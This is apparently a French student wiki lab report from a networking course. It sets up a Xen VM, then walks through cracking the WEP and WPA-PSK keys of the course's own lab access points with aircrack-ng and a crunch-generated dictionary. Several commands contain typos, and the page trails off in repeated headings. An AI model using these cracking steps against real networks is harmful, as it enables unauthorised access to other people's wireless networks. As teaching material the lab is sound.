TP sysres IMA5sc 2019/2020 G6 : Différence entre versions

Version du 25 novembre 2019 à 23:36

1ère séance

Choix du nom de domaine

Sur le site gandi.net, j'ai acheté le nom de mon domaine qui est: blennoragie.site.

Installation de la machine virtuelle Xen

Via une connection en SSH à cordouan.insecserv.deule.net, j'ai installé l'image de la machine virtuelle Xen par la commande suivante

   xen-create-image --hostname=blennoragie --dhcp -- dir=/usr/local/xen

le paramètre hostname spécifie le nom de ma machine(blennoragie) et les disques virtuels sont stockés dans le repertoire(/usr/local/xen):

L'adresse MAC obtenue est : 00:16:3E:D6:E1:DF

2ème séance

cassage de la clef WEP d'un point d'accès Wifi

Cette partie a été réalisé sur une machine sur laquelle on a branché une clé WIFI. J'ai commencé par installé aircrack, l'outil qui me servira à cracker les différentes clefs.

je crée ensuite l'interface wlan0 avec laquelle je vais récupérer les paquets que je souhaite capturer.

Pour créer cet interface je lance la commande:

 airmon-ng start wlan0mon

Ensuite j'observe les BSSID qui circulent sur le réseau:

  airodump-ng --encrypt wep wlan0mon

Je copie les paquets qui circulent sur cracotte06 et je les sauvegardent dans mon fichier craquage.txt

  airodump-ng craquag.txt -c 2 --bssid  04:DA:D2:9C:50:55 wlan0mon

Enfin je réalise le cassage de la clef:

  aircrack-ng craquage.txt.cap

Pour décrypter la clef il a fallu capturer 30 000 paquets et testé 673 clefs ce qui aura pris 5 minutes.

     KEY FOUND! [F1:CA:C4:00:00:00:00:00:00:00:99:99:99]
     Decrypted correctly:100%

cassage de la clef WAP

De même que lors du cassage de la clef WEP, j'enregistre dans le fichier psk les paquets de kracotte02 se trouvant sur le channel 2 via la commande:

   airodump-ng -c 2 --bssid 04:DA:D2:9C:50:59 wlp3s0mon -w psk wlan0mon

lorsqu'un client se connecte sur notre point d'accès wifi et qu'on réussi à l'authentifier(on voit apparaître Handshake),on arrête le processus.

Pour decrypter la clef WPA-PSK, on va la filter dans un dictionnaire de mot de passe à 8 caractères. La création de ce dictionnaire se fait comme suite:

      crunch 8 8 0123456789 dico.txt

Une fois le dictionnaire de mot passe créer, on peut réaliser le cassage de la clef WPA,en executant:

     aircrack-ng psk.cap -w dico.txt

Le décryptage de la clef a pris 51 minutes au cours desquels 20111108 clefs ont été testé sur les 102795810 présents dans le dictionnaire.

4eme seance

5ème seance

2ème séance

cassage de la clef WEP d'un point accès Wifi